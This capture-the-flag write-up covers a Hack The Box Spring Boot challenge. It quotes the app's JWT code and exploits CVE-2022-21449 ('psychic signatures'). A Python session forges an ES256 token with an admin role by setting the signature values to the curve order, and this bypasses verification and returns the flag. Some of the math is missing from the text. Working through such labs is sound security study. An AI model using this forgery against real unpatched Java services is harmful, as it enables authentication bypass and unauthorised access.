read before you sign
4 minutes to read
We are given a web project built with Java and Spring Boot. We have this landing page:
We can register an account and then log in. We will arrive to this dashboard that only shows our username:
So, it’s a good time to read the source code.
Source code analysis
There is a /list
endpoint managed by a method showFiles
in the UserController
class:
@GetMapping("/list")
public ResponseEntity<String> showFiles(@CookieValue("token") String jwt) {
if (jwt == null || jwt.isEmpty()) {
return new ResponseEntity<>("Bad request.", HttpStatus.BAD_REQUEST);
}
if (!this.authService.validateToken(jwt)) {
return new ResponseEntity<>("Your JWT token could not be validated. Please try again later.", HttpStatus.UNAUTHORIZED);
}
Roles userRole = this.authService.checkRole(jwt);
if (userRole == Roles.USER) {
return new ResponseEntity<>("User logged in.", HttpStatus.OK);
}
if (userRole == Roles.ADMIN) {
String fileContents = getFileContents("/flag.txt");
return new ResponseEntity<>("Admin logged in. Flag contents:\n" + fileContents, HttpStatus.OK);
}
return new ResponseEntity<>("Someone else logged in.", HttpStatus.OK);
}
We must call this method in order to read the flag:
But we need to have admin
role. Sessions are managed using JWT, in AuthService
:
package com.psycontractorgradle.service;
import com.psycontractorgradle.enums.Roles;
import io.jsonwebtoken.*;
import io.jsonwebtoken.security.Keys;
import org.springframework.stereotype.Service;
import java.security.KeyPair;
import java.util.Date;
import java.util.HashMap;
@Service
public class AuthService {
private final KeyPair keyPair;
private final JwtParser verifier;
public AuthService() {
this.keyPair = Keys.keyPairFor(SignatureAlgorithm.ES256);
this.verifier = Jwts.parserBuilder().setSigningKey(this.keyPair.getPublic()).build();
}
public boolean validateToken(String token) {
try {
this.verifier.parseClaimsJws(token);
return true;
} catch (Exception e) {
return false;
}
}
public String generateToken(String username) {
return Jwts.builder()
.setClaims(new HashMap<String, String>() {{ put("role", "user"); }})
.setIssuedAt(new Date(System.currentTimeMillis()))
.setExpiration(new Date(System.currentTimeMillis() + 1000 * 60 * 60 * 10))
.setSubject(username).signWith(this.keyPair.getPrivate()).compact();
}
public Roles checkRole(String token) {
String role = this.verifier.parseClaimsJws(token).getBody().get("role", String.class);
if (role.equals("user")) {
return Roles.USER;
}
if (role.equals("admin")) {
return Roles.ADMIN;
}
return Roles.UNKNOWN;
}
}
As can be seen, the role
field is always user
, so there is not natural way of being admin
.
The JWT is using asymmetric encryption as a signature algorithm. Specifically, they use ES256, which is an elliptic curve signature on the P-256 curve (also known as secp256r1).
Finding the vulnerability
If we search about Java and ECDSA signatures, we will find a vulnerability present on the JVM that happens when dealing with special situations in modular computations. There is actually a CVE-2022-21449, known as “psychic signatures”.
There are several resources that cover this vulnerability. Here are some of them:
- CVE-2022-21449: Psychic Signatures in Java
- Testing JSON Web Tokens
- CVE-2022-21449 “Psychic Signatures”: Analyzing the New Java Crypto Vulnerability
- Psychic Signatures - what you need to know
ECDSA
Basically, ECDSA signatures are a pair of values
Where
The verification process goes like this, where
The signature is valid id
Solution
The problem with Java is that it does not check that
Note that we are not saying that
As a result, we can simply take the JWT header and payload, change the role to admin
and change the signature part to hold
These tasks can be done directly in Python:
>>> import requests
>>> from base64 import urlsafe_b64decode, urlsafe_b64encode
>>>
>>> URL = 'http://94.237.54.116:42233'
>>>
>>> requests.post(f'{URL}/register', data={'username': 'rocky', 'password': 'asdf', 'email': 'asdf@asdf.com'})
<Response [200]>
>>> r = requests.post(f'{URL}/login', data={'username': 'rocky', 'password': 'asdf'})
>>> token = r.cookies.get('token')
>>> token
'eyJhbGciOiJFUzI1NiJ9.eyJyb2xlIjoidXNlciIsImlhdCI6MTc0MTUyNDIyMiwiZXhwIjoxNzQxNTYwMjIyLCJzdWIiOiJyb2NreSJ9.c8j5mZlOkYxNM3VeBzzevsEGXMsZd1JjfwWLC1g9b61f-WzqoT18vlmbfVqGHrUeHPliCYh6ywPIQCbJ6DnW0Q'
>>>
>>> urlsafe_b64decode(token.split('.')[1])
b'{"role":"user","iat":1741524222,"exp":1741560222,"sub":"rocky"}'
>>>
>>> header = token.split('.')[0]
>>> payload = urlsafe_b64encode(b'{"role":"admin","iat":1741523995,"exp":1741559995,"sub":"rocky"}').decode()
>>> signature = urlsafe_b64encode(b'\0' * 32 * 2).decode()
>>>
>>> new_token = '.'.join((header, payload, signature))
>>>
>>> print(requests.get(f'{URL}/list', cookies={'token': new_token}).text)
Your JWT token could not be validated. Please try again later.
Flag
Oh, it doesn’t work! Maybe
>>> n = 0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551
>>>
>>> signature = urlsafe_b64encode(n.to_bytes(32, 'big') * 2).decode()
>>>
>>> new_token = '.'.join((header, payload, signature))
>>>
>>> print(requests.get(f'{URL}/list', cookies={'token': new_token}).text)
Admin logged in. Flag contents:
HTB{never_forget_to_verify_r_and_s___psychic_signatures_are_always_watching!}